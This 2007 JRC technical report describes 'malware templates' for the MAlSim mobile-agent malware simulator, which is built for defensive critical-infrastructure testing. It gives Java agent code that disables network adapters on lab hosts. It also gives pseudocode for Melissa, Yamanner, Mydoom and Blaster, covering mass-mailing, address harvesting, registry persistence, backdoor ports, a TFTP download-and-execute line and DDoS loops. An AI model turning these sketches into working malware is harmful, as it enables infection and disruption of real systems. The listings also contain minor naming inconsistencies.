JRC Scientific and Technical Reports

Malware Templates for MAlSim

The Development and the Methodology of Malware Templates for the Simulator of Malicious Software

Rafał Leszczyna, Marcelo Masera, Igor Nai Fovino

EUR 23507 EN - 2007

JRC EUROPEAN COMMISSION

ipsc Institute for the Protection and Security of the Citizen

The Institute for the Protection and Security of the Citizen provides research-based, systems-oriented support to EU policies so as to protect the citizen against economic and technological risk. The Institute maintains and develops its expertise and networks in information, communication, space and engineering technologies in support of its mission. The strong cross-fertilisation between its nuclear and non-nuclear activities strengthens the expertise it can bring to the benefit of customers in both domains.

European Commission
Joint Research Centre
Institute for the Protection and Security of the Citizen

Contact information
Address: Rafal Leszczyna TP 210; Via Enrico Fermi 2749; 21027 Ispra (VA); ITALY
E-mail: rafal.leszczyna@jrc.it
Tel.: +39 0332 786715
Fax: +39 0332 789576

http://ipsc.jrc.ec.europa.eu/
http://www.jrc.ec.europa.eu/

JRC 47146

EUR 23507 EN

ISSN 1018-5593

Luxembourg: Office for Official Publications of the European Communities

Printed in Luxemburg

Contents

Introduction

This report describes the methodology of *malware templates* for *MAISim – Mobile Agent Malware Simulator*, a mobile agent framework which aims at simulation of various malicious software (*malware*[1]) in computer network of an arbitrary information system [Leszczyna et al., 2008a, Leszczyna et al., 2008b, Leszczyna et al., 2008c, Leszczyna et al., 2007]. *Malware template* is a pattern (a 'guide') for implementation of MAISim agent aiming at simulation of a concrete malware. It indicates the selection and configuration of Java classes (MAISim agent, one or more behavioural patterns and one or more migration/replication patterns) selected from MAISim Toolkit. Roughly speaking a malware template is a sort of a 'recipe' for MAISim agent.

Our Action: Security of Critical Networked Infrastructures (SCNI) aims at facilitating the description, assessment and governance from the security point of view of critical networked infrastructures[2], including information systems, communication networks, electricity and other energy networks and water networks. The main interest is in cross-border and European-wide issues.

The action concentrates on the cybersecurity and topological aspects of infrastructures and their interdependencies, and studies their vulnerabilities (at the technological and system levels), the potential malicious threats that might affect them, the related detrimental attacks, and the countermeasures that can be put in place for securing those systems. It also studies the conditions and potential means for making decisions on security matters, estimating the impact of these decision, and facilitating the interaction among the stakeholders.

The focus is on providing policy makers and the stakeholders of critical infrastructures with information and instruments for a better understanding of the risks, for the qualitative and quantitative evaluation of the security issues, for the determination of the security condition of systems. From the technological perspective, the action studies the security of industrial control systems (e.g. SCADA, protection and defence systems, monitoring systems), of communication infrastructures (e.g. Inter-

[1] *Malware* is the malicious software that run on a computer and make the system behaving in a way wanted by an attacker [Skoudis and Zeltser, 2003].

[2] Critical Infrastructures are defined as organisations or facilities of key importance to public interest whose failure or impairment could result in detrimental supply shortages, substantial disturbance to public order or similar dramatic impact [Federal Office for Information Security (BSI), 2003]. Today most of critical infrastructures depend highly on the underlying communication networks.

net protocols and WAN), and their application in concrete industrial environments (e.g. electric power).

One of our studies concentrates on developing a systematic approach for the identification and assessment of security risk threats to information systems. The approach is based on the systematic planning, performance and description of experiments with simulations of attacks affecting control and supervision systems. We analyse the network of a critical infrastructure and on the basis of our observations we reconstruct it in our laboratory. In this configuration we implement attack scenarios. Then analyse results in order to evaluate impact of the attack, test robustness and identify countermeasures. The description, preparation, execution and results of the experiments will constitute the information source for trust cases i.e. documented bodies of evidence that provide demonstrable and valid arguments that a critical infrastructure is adequately safe and secure.

During the studies we encountered the problem of lack of software and methodology for simulation of malware. Malware based attacks are the most frequent in the Internet and they pose a serious threat against critical networked infrastructures. MAISim was develop to address this issue.

The paper is organised as follows: in the next chapter we overview MAISim, recalling (with a slight update) from [Leszczyna et al., 2007] a brief presentation of the related works (Section 1.1), providing a short description of MAISim framework (1.2) and describing, in a more detailed way, its components (Section 1.3). In the former also the notion of *malware templates* is introduced. Then, in Chapter 2 we move to the detailed description of malware templates, providing the explanation of our approach for their development, examples of code and pseudocode. Finally, in Chapter 3 we present our conclusions.

Chapter 1

MAISim Overview

1.1 Related work

We haven't been able to identify any compound frameworks for performing simulations of diverse types of malware. However there are documented studies on simulation of particular malware families such as computer viruses and worms.

The studies on virus simulation tools span between:

- *Educational simulators* i.e. programs demonstrating the effects of virus infection [Gordon, 1996]. This group of programs include Virus Simulation Suite written in 1990 by Joe Hirst, which is a collection of executables, that 'simulate the visual and aural effects of some of the PC viruses' [Hirst, 1990]. Another example is Virlab [Faistenhammer et al., 1993] from 1993, which simulates the spread of DOS computer viruses, and provides a course on virus prevention. (As it can be noticed, the programs are quite out of date, and today they would rather serve just as a historical reference.)

- *Anti-virus testing simulators* i.e. programs which are supposed to simulate viral activity, in order to test anti-virus programs without having to use real, potentially dangerous, viruses. Unfortunately, it seams that only one solution of this type was developed [Gordon, 1996], namely Rosenthal Virus Simulator [Rosenthal Engineering, 1997]. The simulator is a set of programs which provide 'safe and sterile, controlled test suites of sample virus programs', developed for 'evaluating anti-virus security measures without harm or contamination of the system' [Rosenthal Engineering, 1997]. Again the applicability of the suite is limited since it was written ten years ago.

Concerning the simulation of worms, the prevalent work was done on developing mathematical models of worm propagation [Sharif et al., 2005, Symantec Research Labs, 2005, Ellis, 2003, Zou et al., 2003], which base on epidemiological equations that describe spread of real-world diseases. The empirical approaches concentrated mainly on single-node worm spread simulators [Liljenstam et al., 2002, Liljenstam et al., 2003, Wagner et al., 2003, Moore et al., 2003], which are dedicated to run

on one machine. Only few distributed worm simulations were implemented [Perumalla and Sundaragopalan, 2004, Wei et al., 2005, Wei and Mirkovic, 2006] but they approach modelling of worm propagation in the Internet and thus they don't respond our need for simulation tool allowing experiments in an arbitrary network of predefined topology.

Also Trojan Simulator [Mischel Internet Security, 2003] has limited applicability in our studies. It was developed for evaluating effectiveness of anti-trojan software, and as such fulfills its purpose. However from the point of view of our experiments, it lacks the behavioural part, since the trojan malicious activities (e.g. stealthy task execution which consumes processor time or sending packets over network) are not simulated.

1.2 MAISim Framework

MAISim – (Mobile Agent Malware Simulator) Framework is a software toolkit which aims at simulation of various malicious software in computer network of an arbitrary information system. The framework aims at reflecting the behaviours of various families of malware (worms, viruses, malicious mobile code etc.) and various species of malware belonging to the same family (e.g. macro viruses, metamorphic and polymorphic viruses etc.). The simulated software can refer to well-known malware (e.g. Code Red, Nimda, SQL Slammer) but also it can simulate generic behaviours (file sharing propagation, e-mail propagation) and non-existent configurations (which supports the experiments aiming at predicting the system behaviour in the face of new malware).

1.3 MAISim Components

MAISim Toolkit provides:

- Multiple (Java) classes of MAISim agent (extensions of JADE `Agent` class).
- Various behavioural patterns implemented as agent behaviours[1] (extensions of JADE `Behaviour` class).
- Diverse migration/replication patterns implemented as agent behaviours (extensions of JADE `Behaviour` class).

The MAISim agent class is the basic agent code which implements the standard agent functionalities related to its management on the agent platform, its communication skills and the characteristics related to the nature of simulated malicious software. This code will be propagated across the attacked machines.

To render it operative, the code must be extended with instances of the behaviour classes and the migration/replication patterns. Depending on the chosen behaviour(s) and the migration/replication patterns, the instances of the same agent

[1] In agents terminology the agent's *behaviour* is a set of actions performed in order to achieve the goal. It represents a task that an agent can perform [Bellifemine et al., 2003].

class will be created on the attacked host, or instances of another agent class from the toolkit.

The behavioural patterns comprise definitions of agent behaviours aiming at imitating malicious activities of malware (such as scanning for vulnerabilities of operating system, sending and receiving packets, verifying if certain conditions are met etc.) but *without their harmful influence on the system*. They are implemented in Java as extensions of the `Behaviour` class provided by JADE framework. The patterns include operations such as disabling network adapter, enabling a local firewall to operate in all-block mode or starting a highly processor time consuming task etc. They facilitate showing detrimental effects of malware activities but in contrary to their prototypes they are fully controlled. They demonstrate, for example, that after malware infection, it is no longer possible to connect to the host, or that the host's performance is affected etc. To support the demonstrative aspect of experiments also some patterns with audio-visual effects were developed. For example, to facilitate the observation of malware diffusion in the network, a sound can be played by the agent after it arrived to a new container[2].

Migration and replication patterns describe the ways in which MAISim agent migrates across the attacked hosts. The patterns implement malware propagation models as well as user-configured propagation schemas. The latter allow to define such characteristics as: which subnetworks of the evaluated system will be affected, in which order, at what relative time etc.

A particular choice of one of MAISim agent classes, extended with a chosen behavioural and migration/replication patterns is called a *malware template* – i.e. a template of malicious software. Another words, a malware template indicates a selection and configuration of Java classes (MAISim agent, one or more behavioural patterns and one or more migration/replication patterns) selected from MAISim Toolkit in order to simulate a particular instance of malware.

[2]Interesting studies on using sound for network monitoring are described in [Gilfix and Couch, 2000].

Chapter 2

Malware Templates

A composition of a particular MAISim agent class with behavioural and migration and/or replication patterns constitutes a malware template.

Malware templates aim at reflecting the behaviours of various families of malware (worms, viruses, malicious mobile code etc.) and various species of malware belonging to the same family (e.g. macro viruses, metamorphic and polymorphic viruses etc.). Moreover apart of mimicking the well-known malware (such as Melissa, Code Red, Nimda, SQL Slammer), they allow simulations of generic behaviours (file sharing propagation, e-mail propagation) and their non-existent configurations. In this way a non-existent malware can be simulated, such as zero-day viruses, to more extensively evaluate the security of an information system.

Our approach for the development of malware templates is based on the thorough analysis of the documentation available in the Internet sources. Of the various sources available we use primarily the following:

- "F-Secure Virus Description Database" [F-Secure, 2008]
- "Symantec Security Response" [Symantec, 2008]
- "McAfee Virus Information" [McAfee, 2008]
- "Microsoft Security Bulletin" [Microsoft, 2008]
- CERT "Computer Virus Resources" [CERT, 2008]
- "Virus Encyclopedia" of Kaspersky Lab [Kaspersky Lab, 2008]

We are also considering the development of the templates based on the analyses of the original code of the malicious software. However this step must be carefully planned and prepared as obtaining and storing the original malicious code raises the risk of infection.

We analyse the descriptions available there and based on our knowledge of computer languages we codify them into the pseudocode. Such a pseudocode definition of the malware template is called a '*defined*' state of the template.

As it can be seen on the example of the templates presented further (see Sections 2.1 – 2.4) each template in the 'defined' state specifies:

- *Initial event* of the malware life cycle (a 'birth' of malware).
- *Trigger* – the overall conditions to be satisfied to allow the malware to operate.
- *Malicious actions* of the simulated malware.

These definitions drive the development of code of MAISim agent classes and agent behaviour classes. Each template after being implemented transits into the '*implemented*' state.

Summarising, Malware templates can assign one of the two states:

- '*Defined*' state – when the template is described in pseudocode.
- '*Implemented*' state – when the template is actually fully implemented in Java (i.e. all the indicated MAISim agent classes are implemented).

However it is not necessary for the template to pass the 'defined' state. Sometimes we implement templates directly into a computer code.

A sample of malware template code (for a zero-day virus, see [Leszczyna et al., 2008c] for more details on the attack) is provided on Listings 1 and 2. There it can be seen that for the simulation of zero-day virus attack actually two malware agents are used: `MalwareSimAgent1` and `MalwareSimAgent2`. `MalwareSimAgent1` is a base agent, which should be launched at the 'attacker's side' JADE container. The agent creates copies of its 'children' – the instances of `MalwareSimAgent2` – providing them with the name of the target container from the list of target containers, which, in the current version of the simulation, is given explicitly. The creation of the copies is performed according to a proliferation schema defined in the `ProliferateBehaviour` class. The instances of `MalwareSimAgent2` move to the target locations and when there, they indicate they presence by playing a sound and they simulate the malicious behaviour of disrupting a driver of the network adapter. This simulation is implemented as launching the adequate system command for Linux and a Visual Basic script for Windows. In this way, it is very easy to return to the state before the experiment, by simply launching again the Visual Basic Script or running the switching-on Linux command. At the same time, the usage of mobile agents prevents from any other unpredicted consequences of the simulation, as the simulated malware is separated from the system by means of JADE environment and JADE containers.

Currently the repository of malware templates contains just several malware templates in the 'implemented' state, which are the basic malware implementations for zero-day viruses and worms. However new malware templates are planned to be implemented in a foreseeable future. At first malware templates for most interesting (from the point of view of the technique used for propagation but also regarding the payload) representatives of known malware are going to be defined (such as Yamanner, W32/Mydoom, W32/Blaster). Large enough repository of such templates will allow to extract the generic behaviours of malware (file sharing propagation, e-mail propagation, exploits) into separate malware templates.

Four developed malware templates in the ‘defined’ state are presented in Sections 2.1 – 2.4.

Listing 1 Java code of `MalwareSimAgent1` class used in the template of a zero-day virus.

```
public class MalwareSimAgent1 extends MobileAgent {

private static final long migrationDelayA = 500;
private static final long migrationDelayB = 5000;

String[] containerNames = {"powerplant-pc-1-100",
"powerplant-pc-1-103", "powerplant-pc-1-104"};

protected void setup() {
  super.setup();
  addBehaviour(new ProliferateBehaviour());
}

private class ProliferateBehaviour extends Behaviour {

  private int l = 0;

  public void action() {
    Random random = new Random();
    ContainerID location = new ContainerID();
    AgentController aC;
    try {
      Thread.sleep(migrationDelayA);
      if (l == 1 || l == 3)
        Thread.sleep(migrationDelayB);
    } catch (InterruptedException e1) {
      e1.printStackTrace();
    }
    try {
      location.setAddress(containerNames[l]);
      System.out.println(location.getID());
      MalwareSimAgent4 malwareSimAgent =
      new MalwareSimAgent4(location);
      aC = myAgent.getContainerController()
      .acceptNewAgent("MalSim"
        + String.valueOf(random.nextInt()),
        malwareSimAgent);
      aC.start();
    } catch (StaleProxyException e) {
      e.printStackTrace();
    }
    l++;
```

```
    }

    public boolean done() {
      return (l == containerNames.length);
    };
  }
}
```

Listing 2 Java code of MalwareSimAgent2 class used in the template of a zero-day virus.

```
public class MalwareSimAgent2 extends Agent {

 private Location myDestination;

 public MalwareSimAgent4(Location destination) {
   super();
   this.myDestination = destination;
 }
 protected void setup() {
   super.setup();
   addBehaviour(new Move2DestinationBehaviour(myDestination));
 }
 protected void afterMove() {
   super.afterMove();
   disableNetworkAdapter();
   InputStream in;
   try {
     in = new FileInputStream("sound.wav");
     AudioStream as = new AudioStream(in);
     AudioPlayer.player.start(as);
   } catch (Exception e) {
     e.printStackTrace();
   }
 }
 private class Move2DestinationBehaviour extends Behaviour {

   private Location myDestination;
   private int l=0;

   public Move2DestinationBehaviour(Location destination) {
     super();
     this.myDestination = destination;
   }
   public void action() {
     myAgent.doMove(myDestination);
     l++;
   }
   public boolean done() {
     return (l==1);
   };
 }
 private void disableNetworkAdapter() {
```

```
    String os_name = System.getProperty("os.name");
    System.out.println(System.getProperty("user.dir"));

    if (os_name.toLowerCase().lastIndexOf("linux") != -1)
      try { // linux
        String line;
        String cmd = "ifdown eth0";
        Process p = java.lang.Runtime.getRuntime().exec(cmd);
        BufferedReader input = new BufferedReader(
            new InputStreamReader(p.getInputStream()));
        while ((line = input.readLine()) != null) {
          System.out.println(line);
        }
        input.close();
      } catch (Exception err) {
        err.printStackTrace();
      }
    else // windows
      try {
        String line;
        String command = "cmd /c start DisabilitaLAN.vbs";
        System.out.println(command);
        Process p = java.lang.Runtime.getRuntime().exec(command);
        BufferedReader input = new BufferedReader(
            new InputStreamReader(p.getInputStream()));
        while ((line = input.readLine()) != null) {
          System.out.println(line);
        }
        input.close();
      } catch (Exception err) {
        err.printStackTrace();
      }
  }
}
```

2.1 Melissa

Listing 3 shows the pseudocode of the malware template for simulation of the virus Melissa. The template was created based on the descriptions from [F-Secure, 2008, Symantec, 2008, McAfee, 2008]. The template is going to be implemented in foreseeable future.

Listing 3 Pseudocode of the malware template for simulation of the virus Melissa.

```
Initial event: Sending e-mail with file called LIST.DOC, which contains passwords
for X-rated websites.

Trigger: Opening the file LIST.DOC in Microsoft Word.

Action 1: Propagating to other computers.

 1. CONNECT(MAlSim)
 2. IF "HKEY_CURRENT_USER\Software\Microsoft\Office\"→"Melissa?" EQUALS "...by
    Kwyjibo" THEN END
    // checking if the routine has been executed previously on the current
    machine
 3. OPEN(MS Outlook)
 4. MAPI_GET(userProfile)
    // getting user profile to use MS Outlook
 5. CREATE(eMailMessage)
 6. FOR {c=0; c⩽50; eMailMessage.addresse = msOutlook.addressBook.contact[c]};
    // setting the message with up to 50 addresses from MS Outlook Address
    Book
 7. eMailMessage.subject = "Important Message From msWord.document.author"
 8. eMailMessage.body = "Here is that document you asked for ... don't show
    anyone else ;-)"
 9. eMailMessage.attachments[0] = msWord.document.this
    // attaching the active WORD document to the email message
10. SEND(eMailMessage)

Action 2: Modifying Word documents.

 1. IF system.time.minutes EQUALS system.date.day AND (msWord.event EQUALS
    documentOpened) OR msWord.event EQUALS documentClosed) THEN msWord.document.INSERT("
    Twenty-two points, plus triple-word-score, plus fifty points for using
    all my letters. Game's over. I'm outta here.")
    // inserting a sentence into an infected document if the number of minutes
    past the hour corresponds the day of the month (e.g. May 3rd, 11:03)
    and if the document is opened or closed at the appropriate minute
 2. INFORM(MAlSim)
```

Action 3: Infecting other Word documents on the user's computer.

1. IF (msWord.event EQUALS documentCreated) msWord.newDocument.INSERT_MACRO(Melissa)
   // infecting other documents
2. INFORM(MAlSim)

Action 4: Hiding the activity.

1. if msWord.version NOT EQUALS "97" THEN GO TO 4
2. msWord.menu.DISABLE(Tools→Macro)
   // preventing listing the macro / VBA module in MS Word 97 to manually check for infection.

// setting MS Word 97 not to warn or prompt while saving the NORMAL.DOT or while opening a document with macros in it:

1. msWord.options.DISABLE("Prompt to save Normal template")
2. msWord.options.DISABLE("Confirm conversion at Open")
3. msWord.options.DISABLE("Macro virus protection")
4. if msWord.version EQUALS "2000" THEN msWord.menu.DISABLE(Macro→Security)
   // preventing changing the security level in MS Word 2000
5. INFORM(MAlSim)

2.2 Yamanner

This worm is an example of JavaScript viruses, which take advantage of the vulnerability of e-mail clients, Internet browsers, Internet portals etc that allows autonomous execution of scripts embedded in HTML emails.

Listing 4 Pseudocode of the malware template for simulation of the worm Yamanner.

```
   Initial event: Sending e-mail with malicious JavaScript code embedded into
its content.

Trigger: Viewing the e-mail containing the JavaScript code in Yahoo! Mail.

Action 1: Propagating to other computers.

 1. CONNECT(MAlSim)
 2. CREATE(newEMailMessage)
 3. NEW eMailAddresses[ ] // creating new array in which addresses collected
    from personal folders (Inbox, Sent, and any custom-named folders) of
    the Yahoo! Mail account will be stored
 4. WHILE (yahooPersonalFolders.GET_NEXT(eMailMessage) NOT EQUALS NULL)
    FOR {c=0,d=0; eMailMessage.to[c] NOT EQUALS NULL; c++, d++}
    IF (eMailMessage.to[c].CONTAINS("@yahoo.com")
    OR eMailMessage.to[c].CONTAINS("@yahoogroups.com")) THEN eMailAddresses[d]
    = eMailMessage.to[c]}
    // collecting addresses from the personal folders of the Yahoo! Mail
    account, which contain @yahoo.com and @yahoogroups.com domains
 5. eMailMessage.to = eMailAddresses
 6. eMailMessage.from = "Varies"
 7. eMailMessage.subject = "New Graphic Site"
 8. eMailMessage.body = "Note: forwarded message attached"
 9. eMailMessage.body = this
    // embedding the malicious JavaScript into the email message
10. SEND(newEMailMessage)
11. CREATE(newEMailMessage)
12. eMailMessage.body = eMailAddresses
13. eMailMessage.to = "[http://]www.av3.net/index.htm"
14. SEND(newEMailMessage) // sending the array with the collected email addresses
    to the attacker's site
```

2.3 W32/Mydoom

This virus represents the group of malicious software which create backdoors and perform Distributed Denial of Service Attacks.

Listing 5 Pseudocode of the malware template for simulation of the worm W32/Mydoom.

```
Initial event: Sending e-mail with a malicious attachment.

Trigger: Opening the attachment.

Action 1: Propagating to other computers.

1. CONNECT(MAlSim)
2. IF system.date > (stopSpreadingDate) THEN END // propagating only till
   the date indicated within the constant stopSpreadingDate
3. NEW eMailAddresses[ ] // creating new array in which addresses collected
   from Windows Address Book and local files will be stored
4. CREATE_FILE("java.exe", windowsFolder)
5. CREATE_FILE("services.exe", windowsFolder)
6. "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"→"JavaVM"
   = windowsFolder+"\java.exe"
7. "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"→"Services"
   = windowsFolder+"\services.exe"
8. "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"→"JavaVM"
   = windowsFolder+"\java.exe"
9. "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"→"Services"
   = windowsFolder+"\services.exe"
10. REG_CREATE("HKEY_CURRENT_USER\Software\Microsoft\Daemon")
11. REG_CREATE("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Daemon")
12. c=0
13. WHILE (windowsAddressBook.GET_NEXT(contact) NOT EQUALS NULL)
    address[c++] = contact
    // collecting email addresses from the Windows Address Book
14. fileExtensions = NEW ({".pl*", ".ph*", ".tx*", ".ht*", ".asp", ".sht",
    ".adb", ".dbx", ".wab"})
15. GetAddressesFromFiles(fileExtensions)
    // collecting email addresses from files with particular extensions
16. eMailMessage.to = eMailAddresses
17. messageSenders = NEW ({"Postmaster", "Mail Administrator", "Automatic
    Email Delivery Software", "Post Office", "The Post Office", "Bounced
    mail", "Returned mail", "MAILER-DAEMON", "Mail Delivery Subsystem"})
18. eMailMessage.from = messageSenders[RANDOM(messageSenders.length)]
```

19. messageSubjects = NEW ({"New Graphic Site", "hello", "hi", "error", "status", "test", "report", "delivery failed", "Message could not be delivered", "Mail System Error - Returned Mail", "Delivery reports about your e-mail", "Returned mail: see transcript for details", "Returned mail: Data format error delivered"})
20. eMailMessage.subject = messageSubjects[RANDOM(messageSubjects.length)]
21. eMailMessage.body = "Your message was not delivered due to the following reason(s): Your message was not delivered because the destination server was unreachable within the allowed queue period. The amount of time a message is queued before it is returned depends on local configuration parameters. Most likely there is a network problem that prevented delivery, but it is also possible that the computer is turned off, or does not have a mail system running right now."
22. attachmentNamePrefixes = NEW ({"ATTACHMENT", "DOCUMENT", "FILE", "INSTRUCTION", "LETTER", "MAIL", "MESSAGE", "README", "TEXT", "TRANSCRIPT"})
23. attachmentNameSuffixes = NEW ({".bat", ".cmd", ".com", ".exe", ".pif", ".scr", ".zip"})
24. attachmentName = attachmentNamePrefixes[RANDOM(attachmentNamePrefixes.length)] + attachmentNameSuffixes[RANDOM(attachmentNameSuffixes.length)]
25. eMailMessage.attachments[0] = NEW_FILE(this, attachmentName)
26. SEND(newEMailMessage)

Action 2: Setting backdoor access to the computer.

1. OPEN_TCP_PORT(3127)
2. OPEN_TCP_PORT(3198) // opening TCP ports in order to allow the attacker to remotely access the infected computer
3. CONNECT(attackersSite)
   // the constant attackersSite contains the address of the attacker's network location
4. DOWNLOAD(attackersProgram)
   // the constant attackersProgram indicates the name of the program located on the attacker's location
5. EXECUTE(attackersProgram)
   // executing the downloaded program
6. INFORM(MAlSim)

Action 3: Performing Distributed Denial of Service (DDOS) Attack.

1. INFORM(MAlSim)
2. IF system.date NOT EQUALS (launchDDOSDate) THEN END // launching the attack on the date indicated in the constant launchDDOSDate
3. CREATE_HTTP_GET_REQUEST(httpGetRequest)
4. FOR {c=0; c⩽64; c++} SEND(httpGetRequest)
5. WAIT(1000) // wait 1 second (1000 milliseconds)
6. GO TO 2

2.4 W32/Blaster

This virus represents the group of Windows exploits.

Listing 6 Pseudocode of the malware template for simulation of the worm W32/Blaster.

Initial event: n/a

Trigger: n/a

Action 1a: Propagating to other computers.

1. CONNECT(MAlSim)
2. "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"→"windows auto update" = "msblast.exe"
3. FOR {c=0; c⩽16; c++}
   (a) targetIPAddress[c] = RANDOM(255)+"."+RANDOM(255)+"."+RANDOM(255)+".0"
   (b) INFORM(MAlSim,targetIPAddress[c])

   // In the original version Blaster creates twenty threads. Sixteen of them try to connect to hosts located in the whole area of the Internet, outside of the local network. Four of them approaches hosts in the local network. In the simulation the generated random IP addresses outside local network are sent to MAlSim analysis centre (MAlSim main agent) and only the connections to the hosts in the local network are approached.
4. FOR {; c⩽20; c++}
   (a) IF octetC $>$ 20 THEN octetC=localIPAddress.octetC-RANDOM(19)
   (b) targetIPAddress = localIPAddress.octetA+"."+localIPAddress.octetB+"."+octetC+".0"
   (c) link1 = CONNECT (targetIPAddress[c]+":135")
       // attempting to connect to a target machine on port 135
   (d) IF (link $\neq$ null) // checking if the connection was established
   (e) SEND (link, malformedSYNrequest)
       // sending a malformed SYN request
   (f) link2 = CONNECT (targetIPAddress[c]+":4444")
       // Connecting to the target machine on port 4444. At this time there should be a command shell listening on this port of the target machine as it was launched by the malicious code.
   (g) WAIT (link2, ftpGET) // Waiting for the FTP GET request from the target machine.
   (h) SEND (link2, "MSBLAST.EXE") // Sending the worm's executable to the target machine. The machine will execute it.
5. WAIT(1800) // wait 1.8 seconds (1800 milliseconds)

Action 1b: Executive part of malformedSYNrequest

1. OPEN(windowsCommandLine)
2. EXECUTE("TFTP "+attackerIPAddress+" GET MSBLAST.EXE")
3. EXECUTE("MSBLAST.EXE")

Action 2: Performing Distributed Denial of Service (DDOS) Attack.

1. INFORM(MAlSim)
2. IF system.date NOT EQUALS (launchDDOSDate) THEN END // launching the attack on the date indicated in the constant launchDDOSDate
3. SEND(malformedSYNRequest) // The malformedSYNRequest contains no data except for its TCP/IP header. It is of 20 Bytes size.
4. WAIT(20) // wait 20 milliseconds
5. GO TO 3

Chapter 3

Conclusions

In the report we have presented the malware templates for MAISim. Malware templates are patterns ('recipes') for implementation of MAISim agents simulating a concrete malware. They indicate the selection and configuration of Java classes (MAISim agent, one or more behavioural patterns and one or more migration/replication patterns) selected from MAISim Toolkit.

We have described the composition of malware templates and our approach for their development. During development of malware templates various information sources are used. To the most popular belong: [F-Secure, 2008, Symantec, 2008, McAfee, 2008]. Malware templates, in their life-cycle, can be in 'defined' state or 'implemented' state. In the report we have presented the examples of both of types of templates.

Currently the repository of malware templates contains just several malware templates in the 'implemented' state, which are the basic malware implementations for zero-day viruses and worms. However new malware templates are planned to be implemented in a foreseeable future. At first malware templates for most interesting (from the point of view of the technique used for propagation but also regarding the payload) representatives of known malware are going to be defined (such as Yamanner, W32/Mydoom, W32/Blaster). Large enough repository of such templates will allow to extract the generic behaviours of malware (file sharing propagation, e-mail propagation, exploits) into separate malware templates.

Bibliography

[Bellifemine et al., 2003] Bellifemine, F., Caire, G., Trucco, T., and Rimassa, G. (2003). *Jade Programmer's Guide*.

[CERT, 2008] CERT (2008). Computer virus resources. Website. Available at `http://www.cert.org/other_sources/viruses.html` (last access: August 13, 2008).

[Ellis, 2003] Ellis, D. (2003). Worm anatomy and model. In *WORM '03: Proceedings of the 2003 ACM Workshop on Rapid Malcode*, pages 42–50, New York, NY, USA. ACM.

[F-Secure, 2008] F-Secure (2008). F-Secure virus description database. Website. `http://www.f-secure.com/v-descs/` (last access: January 18, 2008).

[Faistenhammer et al., 1993] Faistenhammer, T., Klöck, M., Klotz, K., Krüger, T., Reinisch, P., and Wagner, J. (1993). Virlab 2.1. Internet. Available at `http://kklotz.de/html/virlab.html` (last access: October 29, 2007).

[Federal Office for Information Security (BSI), 2003] Federal Office for Information Security (BSI) (2003). BSI annual report 2003. Internet. Available at `http://www.bsi.bund.de/english/publications/annualreport/index.htm` (last access: October 30, 2007).

[Gilfix and Couch, 2000] Gilfix, M. and Couch, A. L. (2000). Peep (the network auralizer): Monitoring your network with sound. In *LISA '00: Proceedings of the 14th USENIX conference on System administration*, pages 109–118, Berkeley, CA, USA. USENIX Association.

[Gordon, 1996] Gordon, S. (1996). Are good virus simulators still a bad idea? *Network Security*, 1996(9):7–13.

[Hirst, 1990] Hirst, J. (1990). Virus simulation suite. Internet.

[Kaspersky Lab, 2008] Kaspersky Lab (2008). Virus encyclopedia. Website. Available at `http://www.viruslist.com/en/viruses/encyclopedia` (last access: August 13, 2008).

[Leszczyna et al., 2007] Leszczyna, R., Fovino, I. N., and Masera, M. (2007). MAlSim – mobile agent malware simulator. Technical report, Luxembourg.

[Leszczyna et al., 2008a] Leszczyna, R., Fovino, I. N., and Masera, M. (2008a). MAlSim – mobile agent malware simulator. In *Proceedings of the First International Conference on Simulation Tools and Techniques for Communications, Networks and Systems (SIMUTools 2008)*, Marseille, France. ICST, ICST.

[Leszczyna et al., 2008b] Leszczyna, R., Fovino, I. N., and Masera, M. (2008b). Simulating malware with MAlSim. In Filiol, E. and Broucek, V., editors, *Proceedings of the 17th EICAR Annual Conference*, pages 243 – 261, Laval, France. EICAR.

[Leszczyna et al., 2008c] Leszczyna, R., Fovino, I. N., and Masera, M. (2008c). Simulating malware with MAlSim. *Journal in Computer Virology*. Available at `http://www.springerlink.com/content/k0843hgq60333556` (last access: July 22, 2008).

[Liljenstam et al., 2003] Liljenstam, M., Nicol, D. M., Berk, V. H., and Gray, R. S. (2003). Simulating realistic network worm traffic for worm warning system design and testing. In *WORM '03: Proceedings of the 2003 ACM workshop on Rapid malcode*, pages 24–33.

[Liljenstam et al., 2002] Liljenstam, M., Yuan, Y., Premore, B., and Nicol, D. (2002). A mixed abstraction level simulation model of large-scale internet worm infestations. In *MASCOTS '02: Proceedings of the 10th IEEE International Symposium on Modeling, Analysis, and Simulation of Computer and Telecommunications Systems (MASCOTS'02)*, page 109, Washington, DC, USA. IEEE Computer Society.

[McAfee, 2008] McAfee (2008). McAfee virus information. Website. `http://uk.mcafee.com/virusInfo/` (last access: January 18, 2008).

[Microsoft, 2008] Microsoft (2008). Microsoft security bulletin. Website. Available at `http://www.microsoft.com/technet/security/bulletin` (last access: August 13, 2008).

[Mischel Internet Security, 2003] Mischel Internet Security (2003). Trojan simulator. Internet. Available at `http://www.misec.net/trojansimulator/` (last access: October 29, 2007).

[Moore et al., 2003] Moore, D., Shannon, C., Voelker, G. M., and Savage, S. (2003). Internet quarantine: Requirements for containing self-propagating code. In *INFOCOM 2003. Twenty-Second Annual Joint Conference of the IEEE Computer and Communications Societies*, volume 3, pages 1901–1910.

[Perumalla and Sundaragopalan, 2004] Perumalla, K. S. and Sundaragopalan, S. (2004). High-fidelity modeling of computer network worms. *acsac*, 00:126–135.

[Rosenthal Engineering, 1997] Rosenthal Engineering (1997). Rosenthal virus simulator. Internet.

[Sharif et al., 2005] Sharif, M. I., Riley, G. F., and Lee, W. (2005). Comparative study between analytical models and packet-level worm simulations. In *PADS '05: Proceedings of the 19th Workshop on Principles of Advanced and Distributed Simulation*, pages 88–98, Washington, DC, USA. IEEE Computer Society.

[Skoudis and Zeltser, 2003] Skoudis, E. and Zeltser, L. (2003). *Malware: Fighting Malicious Code*. Prentice Hall Professional Technical Reference, Upper Saddle River, New Jersey, USA.

[Symantec, 2008] Symantec (2008). Symantec security response. Website. `http://www.symantec.com/security_response/` (last access: January 18, 2008).

[Symantec Research Labs, 2005] Symantec Research Labs (2005). Symantec worm simulator. Internet.

